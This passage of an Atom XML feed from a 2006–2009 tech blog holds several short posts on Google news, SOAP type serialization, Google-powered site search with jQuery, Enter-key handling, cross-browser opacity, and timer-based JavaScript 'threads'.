href='http://blog.itadapter.com/2009/12/gumblaroid-virus.html' title='&quot;Gumblaroid&quot; Virus'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-7882905805599182231</id><published>2009-12-22T01:42:00.001-05:00</published><updated>2009-12-22T01:42:58.251-05:00</updated><title type='text'>Microsoft Documents alla Google Docs</title><content type='html'>&lt;div&gt;Today I&amp;#39;v heard that Google bought DocVerse for $25M&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;It is a plugin that integrates right into MS Office and makes local Office programs behave like Google Docs....Microsoft is left behind again...&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;See this:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;a href="http://www.docverse.com/"&gt;http://www.docverse.com/&lt;/a&gt;&lt;br clear="all"&gt;&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-7882905805599182231?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/7882905805599182231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=7882905805599182231' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/7882905805599182231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/7882905805599182231'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2009/12/microsoft-documents-alla-google-docs.html' title='Microsoft Documents alla Google Docs'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-1754429155820867691</id><published>2009-12-19T00:44:00.001-05:00</published><updated>2009-12-19T00:44:38.452-05:00</updated><title type='text'>GOOGLE phone and GOOGLE Laptop</title><content type='html'>&lt;div&gt;Looks like the rumors about Google&amp;#39;s own phone are materializing see the link below:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;a href="http://www.smh.com.au/digital-life/iphone/google-confirms-secret-google-phone-20091214-kquy.html"&gt;http://www.smh.com.au/digital-life/iphone/google-confirms-secret-google-phone-20091214-kquy.html&lt;/a&gt;&lt;br clear="all"&gt; &lt;br&gt;Also, rumor has it that Google will release it&amp;#39;s own net book with Chrome OS.&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Google gotta make sure that people CAN save files locally though, - it is not going to be possible to convince everyone to keep it all in the cloud.&lt;br&gt;  &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-1754429155820867691?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/1754429155820867691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=1754429155820867691' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/1754429155820867691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/1754429155820867691'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2009/12/google-phone-and-google-laptop.html' title='GOOGLE phone and GOOGLE Laptop'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-3313379423616344838</id><published>2009-12-18T22:04:00.003-05:00</published><updated>2009-12-18T22:13:28.432-05:00</updated><title type='text'>Why don't Web Services/SOAP support passing of  my own C# type?</title><content type='html'>This was asked today at work.........&lt;br /&gt;Look at the question again....rings the bell? ..then look again...&lt;br /&gt;How can SOAP be so cruel? It was never meant to pass your custom memory structures&lt;br /&gt; as-is, because those structures are specific to your code/library/environment/platform...&lt;br /&gt;How do you expect Linux binary file, originally created in C++ where all&lt;br /&gt; memory structures are allocated differently or even on a different processor, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;de&lt;/span&gt;-serialize&lt;br /&gt; your.NET class? .NET class has both data fields and methods (somewhere in a code segment) scoped to your class - you MUST have your assembly on the other end. Don't ask me how Microsoft builds a Web Service proxy on the consumer end - that's the point - it's a "proxy"&lt;br /&gt; it is merely an "adapter" between you and remote server, effectively you are making an &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;RPC&lt;/span&gt; call&lt;br /&gt; and just for your convenience does Microsoft call proxy class the same name as your web service on the other end.  Web services are all about cross-platform-ability, not about your .NET stuff!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-3313379423616344838?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/3313379423616344838/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=3313379423616344838' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/3313379423616344838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/3313379423616344838'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2009/12/why-dont-web-servicessoap-support.html' title='Why don&apos;t Web Services/SOAP support passing of  my own C# type?'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-2233615790160519270</id><published>2009-12-18T21:28:00.002-05:00</published><updated>2009-12-18T22:01:44.183-05:00</updated><title type='text'>Search on your ASP.NET Website</title><content type='html'>Many people just don't realize  that some most trivial things in IT-life are not that "out-of-the-box-y" at all. &lt;div&gt;One of them is "Search". Many sites have a Search function, so it is easy to do, right?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; I have summarized the approaches to "Search" here:&lt;/div&gt;&lt;div&gt;a. Do your own site search - host it on your server&lt;/div&gt; &lt;div&gt;b. Integrate external search (like Google)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In case of [a] from above:  MS indexing service is really a piece of turd when it comes to web indexing, pardon my French, reason being - it does not turn your ASPX files&lt;/div&gt; &lt;div&gt;into static content, it was never built for that so you end-up with an index of your C# code or any other server-side markup.&lt;/div&gt;&lt;div&gt;I know a few people who have "materialized" ASPX and other ASP resources into "/static" folder ,then unleashed MS Indexing on it, then when MS indexing gives you result&lt;/div&gt; &lt;div&gt;, remap "static.html" back into "dynamic.aspx" , and this does suck, but it does work as well!&lt;/div&gt;&lt;div&gt;Another approach in [a] case from above - Google for "&lt;a href="http://asp.net/"&gt;ASP.NET&lt;/a&gt; indexing" and go buy a dedicated &lt;a href="http://asp.net/"&gt;ASP.NET&lt;/a&gt; solution of your problem, this sux a ton :(&lt;/div&gt; &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now, when you want to utilize Sergey and Larry in [b] case from above, there are quite a few cool features:&lt;/div&gt;&lt;div&gt; if you don't care about  how your search result looks - just create a plain HTML form post back to Google with site search parameter preset to your domain.&lt;/div&gt; &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you are fastidious as to how search results are "branded" - Google for "Google Search API" and indeed you can customize it, but, what not that many people know, there is a &lt;/div&gt; &lt;div&gt; REST service that returns plain JSON, even with a callback! So, if you are a fan of JQuery, here is a code for you:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre id="line79"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt;$.ajax({  type: "GET", url: "&lt;a href="http://ajax.googleapis.com/ajax/services/search/web?v=1.0"&gt;http://ajax.googleapis.com/ajax/services/search/web?v=1.0&lt;/a&gt;",&lt;br /&gt;         data: {q: $("#&lt;b&gt;&lt;span class="Apple-style-span"  style="color:#3333ff;"&gt;YOURTEXTBOXID&lt;/span&gt;&lt;/b&gt;").val(),&lt;br /&gt;         callback: "resultReady",&lt;br /&gt;         context: "doSearch",&lt;br /&gt;         cx: "&lt;b&gt;&lt;span class="Apple-style-span"  style="color:#3333ff;"&gt;YOURCUSTOMSITEID&lt;/span&gt;&lt;/b&gt;",&lt;br /&gt;         rsz: "large"},     dataType: "script" &lt;/span&gt;&lt;/pre&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt;       });&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt; &lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt;and finally:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt;&lt;pre id="line79"&gt;     &lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt;function resultReady(ctx, data)&lt;br /&gt;    {&lt;br /&gt;       for (var i in data.results)  &lt;br /&gt;       {     &lt;br /&gt;         data.results[i].....&lt;span class="Apple-style-span"  style="color:#3333ff;"&gt;do your stuff dynamically&lt;/span&gt;     &lt;br /&gt;       }&lt;br /&gt;    } &lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt;Google for "Custom Search Engine" to get &lt;span class="Apple-style-span" style="white-space: pre;"&gt;"&lt;b&gt;&lt;span class="Apple-style-span"  style="color:#3333ff;"&gt;YOURCUSTOMSITEID&lt;/span&gt;&lt;/b&gt;", basically this will allow you to set-up a profile that will&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt;&lt;span class="Apple-style-span" style="white-space: pre;"&gt; filter searches to URLs that you specify - just what we have needed for a long time!&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', monospace;"&gt;That's IT!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Remember to check GOOGLE Terms and comply with their logo and other requirements.&lt;/div&gt; &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-2233615790160519270?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/2233615790160519270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=2233615790160519270' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/2233615790160519270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/2233615790160519270'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2009/12/search-on-your-aspnet-website.html' title='Search on your ASP.NET Website'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-8822672133009760690</id><published>2009-12-17T18:00:00.001-05:00</published><updated>2009-12-17T18:00:14.715-05:00</updated><title type='text'>Supressing Default Form Submit on [ENTER]</title><content type='html'>&lt;div&gt;Problem is - when you hit &amp;lt;ENTER&amp;gt; form gets submitted,&lt;/div&gt;&lt;div&gt; but in most cases you need to run, let&amp;#39;s say, AJAX and just &amp;quot;automate&amp;quot; text box so it initiates AJAX w/o form submit.&lt;/div&gt;&lt;div&gt;This is very easy to do with jQuery that shields you from tedious cross-browser nuances:&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;$(&amp;quot;#&lt;/font&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;tbDoSearchText&lt;/font&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;&amp;quot;).&lt;/font&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;keydown&lt;/font&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;(function(e) { if (e.&lt;/font&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;keyCode&lt;/font&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;==13) {$(&amp;quot;#&lt;/font&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;btnDoSearch&lt;/font&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;&amp;quot;).click(); &lt;font class="Apple-style-span" color="#3333FF"&gt;&lt;b&gt;e.&lt;/b&gt;&lt;/font&gt;&lt;/font&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;&lt;font class="Apple-style-span" color="#3333FF"&gt;&lt;b&gt;stopPropagation&lt;/b&gt;&lt;/font&gt;&lt;/font&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;&lt;font class="Apple-style-span" color="#3333FF"&gt;&lt;b&gt;(); return false;&lt;/b&gt;&lt;/font&gt; }});&lt;/font&gt;&lt;div&gt; &lt;br&gt;&lt;/div&gt;&lt;div&gt;Where:&lt;/div&gt;&lt;div&gt;   tbDoSearchText - is your text box with user search terms text,  btnDoSearch - the button that runs AJAX search &amp;quot;onclick&amp;quot;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;I have bolded important part.&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Thats it -  when user enters search text and hits &amp;lt;ENTER&amp;gt; - &amp;quot;onClick&amp;quot; is called and AJAX starts (assuming you have an AJAX call in button click event)&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br clear="all"&gt; &lt;br&gt;&lt;br&gt; &lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-8822672133009760690?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/8822672133009760690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=8822672133009760690' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/8822672133009760690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/8822672133009760690'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2009/12/supressing-default-form-submit-on-enter.html' title='Supressing Default Form Submit on [ENTER]'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-5901624787568752609</id><published>2006-11-24T17:12:00.000-05:00</published><updated>2006-11-24T17:29:42.408-05:00</updated><title type='text'>Controling Opacity</title><content type='html'>I have found this very helpful in doing "flash-like" java scripts driven by user input. Takes 1 minute to create transition effect lib with this function.&lt;br&gt;&lt;br /&gt;Enjoy! &lt;br&gt;&lt;br /&gt;&lt;br /&gt;P.S.:  Oh!&lt;br /&gt;The only thing left for you to implement &lt;b&gt;isIE()&lt;/b&gt;!!!!!&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;pre&gt;&lt;small&gt;&lt;br /&gt;function setObjectOpacity(obj, opacity)&lt;br /&gt;{&lt;br /&gt; //IE&lt;br /&gt; if (&lt;span style="color: rgb(255, 0, 0);"&gt;isIE()&lt;/span&gt;)&lt;br /&gt;  obj.style.filter = "alpha(opacity:"+opacity+")";&lt;br /&gt; else&lt;br /&gt; {&lt;br /&gt;   opacity = (opacity == 100)?99.999:opacity;//99.9 for Firefox flicker bug&lt;br /&gt;&lt;br /&gt;   // Konqueror, Safari&lt;br /&gt;   obj.style.KHTMLOpacity = opacity / 100;&lt;br /&gt;   // Old Mozilla and Firefox&lt;br /&gt;   obj.style.MozOpacity = opacity / 100;&lt;br /&gt;   // CSS3,  Safari , new Firefox (Gecko)&lt;br /&gt;   obj.style.opacity = opacity / 100;&lt;br /&gt; }//else&lt;br /&gt;}&lt;/small&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-5901624787568752609?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/5901624787568752609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=5901624787568752609' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/5901624787568752609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/5901624787568752609'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2006/11/controling-opacity.html' title='Controling Opacity'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-8882977729168859501</id><published>2006-11-24T16:56:00.000-05:00</published><updated>2006-11-24T17:09:50.155-05:00</updated><title type='text'>Java Script multi-threading</title><content type='html'>We all know that it is not possible,...but... using timers along with path-through routines that don't block might sound like a cool alternative. I have tried it and it works - picture this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span style="font-family:courier new;"&gt;function doLongTask(x,y,z, callback)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   this.X = x;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    this.Y = y;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   this.Z = z;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   this.doneCallback=callback;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;doLongTask.prototype.threadSpin =  _longtask_threadspin;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;function _longtask_threadspin()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   //instead of long loops save your intermediate state in this.{vars}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   this.X++;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   if (this.X%100==0) this.Z = this.Y - 100; //some logic that would have been in a tight loop&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   if (this.X&gt;1000) this.doneCallback();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And now we can easily:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span style="font-family: courier new;"&gt; var task = new doLongTask(1,2,3,doneLongTask);&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;var tmr = setInterval(task.threadSpin, 10/*time slice!!!*/);&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;function doneLongTask()&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;  task.Z // result of task&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;  clearInterval(tmr);// kill 'thread'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-8882977729168859501?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/8882977729168859501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=8882977729168859501' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/8882977729168859501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/8882977729168859501'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2006/11/java-script-multi-threading.html' title='Java Script multi-threading'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>6</thr:total></entry></feed>
